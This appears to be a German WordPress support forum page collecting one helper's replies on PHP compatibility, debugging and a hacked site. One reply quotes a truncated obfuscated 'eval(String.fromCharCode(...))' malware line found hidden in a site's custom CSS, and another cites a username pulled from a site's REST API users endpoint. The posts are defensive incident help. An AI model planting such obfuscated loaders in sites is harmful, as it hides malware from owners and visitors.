Um schreiben oder kommentieren zu können, benötigen Sie ein Benutzerkonto.
Sie haben schon ein Benutzerkonto? Melden Sie sich hier an.
Jetzt anmeldenHier können Sie ein neues Benutzerkonto erstellen.
Neues Benutzerkonto erstellenWenn "Fehler beim Aufbau einer Datenbankverbindung" erscheint..
Screenshot dieser Meldung?
Vermutlich gleiches Problem und Lösung wie bereits hier beschrieben:
Du hast diese Einträge selbst gepostet. Daher die Frage, was erscheint im Browser Console Netzwerk Tab bei der [FONT=Courier New]JSON.parse[/FONT] Zeile als Antwort wenn Du auf den Button "Save" klickst?
Es laufen weiterhin Plugins mit irgendwelchen Sicherheitsmechanismen, die z.B. den Zugriff auf die Browser Console über rechte Maustaste verhindern wollen u.ä.
Siehe dazu den o.g. [FONT=Courier New]JSON.parse[/FONT] Hinweis bzgl. Browser Console Netzwerk Tab und v.a. den Hinweis auf die Deaktivierung aller vorhandener Plugins mit Sicherheitsfunktionen wegen der Forbidden Meldungen im älteren Screenshot.
Das verwendete Theme Sparkling ist seit weit über ein Jahr nicht mehr aktualisiert worden und ist nur als bis WordPress 5.9 kompatibel markiert.
Verwendet wird jedoch WordPress 6.2.2.
Vermutlich wurden WordPress und PHP aktualisiert, ohne die Kompatibilität zu den restlichen Komponenten zu prüfen.
Mit PHP 8.0.x sind Theme und Kubio Plugin kompatibel. Der "Save" Button funktioniert problemlos.
Die zitierten [FONT=Courier New]debug.log[/FONT] Meldungen PHP Notice: Function wp_enqueue_script was called incorrectly ... werden hier auf dem Testserver mit nur Theme und Kubio Plugin mit keiner der PHP 8.x Versionen erzeugt.
Mit PHP 8.1.x ist das Theme Pathway 1.0.12 bzw. seine integrierte für diese PHP Version veraltete Browser Detection Komponente nicht kompatibel.
Mit PHP 8.2.x ist das Theme Pathway 1.0.12 durch weitere integrierte für diese PHP Version veraltete Komponenten im Plugin Kubio 1.7.3 erst recht nicht kompatibel.
Auf einem Testserver hier mit PHP 8.0.x, Theme Pathway 1.0.12 und Plugin Kubio 1.7.3 (build: 171) gibt es diese Zeilen nicht im [FONT=Courier New]debug.log[/FONT]. Der "Save" Button funktioniert problemlos.
Sie kommen daher wohl aus einem Deiner sonstigen Plugins. Deaktiviere schrittweise temporär der Reihe nach alle Plugins und gehe jeweils wie bei 1. - 4. beschrieben vor, bis diese Zeilen nicht mehr erscheinen.
Die debuglog Datei habe ich nun auch gefunden.
Der neue Screenshot ist leider weitestgehend unleserlich und enthält augenscheinlich auch nicht die o.g. Antwort der [FONT=Courier New]JSON.parse[/FONT] Zeile im Netzwerk Tab.
Die verschiedenen Forbidden Meldungen im Screenshot deuten darauf hin, dass irgendwelche Sicherheitsmechanismen stören könnten. Deaktivere alle Plugins, die dafür in Frage kommen.
Direkte Hilfe kannst Du über die Jobbörse des Forums bekommen.
"Der Benutzername ist auf dieser Website nicht registriert. ..
Dieser Benutzername ist lt. REST-API und Autor Seite registriert, versuche es damit:
amelie21
Quelle: https://www.dornoff-zahnarzt.de/wp-json/wp/v2/usersHinweise in der Contacat Form 7 Dokumentation:
Verwendet wird php 8.1
Verwende testweise PHP 8.0.
Ich habe das Debugging aktiviert,
Wie/wo genau hast Du das aktiviert?
Ergänzung: Falls auch mit PHP 8.0 ein "whitescreen" bzw. Server Error 500 erscheint, poste Deine [FONT=Courier New]wp-config.php[/FONT] mit anonymisierten Datenbank Zugangsdaten (mit dem [FONT=Courier New][+][/FONT] Symbol und Code im Forum-Editor). Evtl. sind dort falsche Hochkomma Zeichen o.ä., die PHP 8.x nicht mag. Und beantworte noch die Frage nach der WordPress Version und ergänze noch den Theme Namen und Version und genutzte Plugins und Versionen, siehe auch Forenregeln, Punkt II.
Manchmal kann man nur noch den Kopf schütteln bei solchen Antworten.. nun gut, hat vielleicht irgendeine tolle KI so ausgegeben oder es sind irgendwelche Substanzen im Spiel o.ä., nur nicht selbst denken..
Die genannte gekürzte eval(...) Code Zeile ist der Schadcode.
Quellcode anschauen kann man völlig gefahrlos z.B. über wget oder auch in jedem normalen Browser:
view-source:https://www.heimatverein-nieukerk.de/Zitat von r23Dein Problem ist ja gelöst.
Nein, das Problem ist nicht gelöst.
Zitat von r23SiteCheck (sucuri.net) findet auf der Seite weiterhin Malware.
Das steht auch zwei Postings weiter oben bereits klar und deutlich da:
Im Customizer im Eigenen CSS ist weiterhin "verwürfelter" eval Script Code versteckt, unklar ob/was den dort liest/ausführt.
Codevar f=String;eval(f.fromCharCode(102,117,110,99,[...],41,59,125,125));/*99586587347*/
Kann man selbst auch ganz einfach mit Seitenquelltext anzeigen in jedem Browser sehen...
Ein aktiver Hack kann sich problemlos vor Plugins wie Wordfence verstecken oder diese unterlaufen.
Alles auf dem Server inkl. Datenbank ist weiterhin als kompromitiert zu betrachten.
Das nachträgliche Entfernen einzelner Schadcodes oder Auswirkungen ist nicht ausreichend. Es können auch mehrere Hacks erfolgt sein, ggf. auch zu anderen Zeitpunkten.
Im Customizer im Eigenen CSS ist weiterhin "verwürfelter" eval Script Code versteckt, unklar ob/was den dort liest/ausführt.
var f=String;eval(f.fromCharCode(102,117,110,99,[...],41,59,125,125));/*99586587347*/
Das Plugin OceanWP Sticky Header 1.0.8 ist stark veraltet und wird im Plugin Repository seit über 2 Jahren nicht mehr gepflegt.
https://www.heimatverein-nieukerk.de/wp-content/plugins/sticky-header-oceanwp/changelog.md
https://de.wordpress.org/plugins/sticky-header-oceanwp/
Das Plugin Modern Events Calendar Lite 6.5.2 ist stark veraltet und die inzwischen etwas aktuellere Version 6.5.6 seit über einem Jahr im Plugin Repository gesperrt:
https://www.heimatverein-nieukerk.de/wp-content/plugins/modern-events-calendar-lite/readme.txt
https://de.wordpress.org/plugins/modern-events-calendar-lite/
Das allgemeine Vorgehen bei einem Hack ist z.B. hier beschrieben, das könntest Du mit jemandem mit WordPress Erfahrung bei Dir im näheren Umfeld zusammen durchgehen. Jeden einzelnen Punkt.
So viel Spekulation, Halbwissen, "Reiserücktrittsversicherung" off Topic bla bla, das wird dem Ersteller des Beitrags kaum helfen können.
Ich stelle dann später noch zwei Links zu beiden Versionen rein.
Wo kann man den "nicht rund laufenden" Website ansehen?
Ein drittes Problem war auch, dass ein Plugin als Shortcode im Gutenberg Block funktionierte ..
Kann mit dem WordPress Ticket #58333 oder dem Ticket #58366 zu tun haben, es gab tiefgreifende Änderungen bei Shortcode mit Gutenberg/FSE mit dem WordPress 6.2.1 Update, die nach wie vor ungelöst sind.
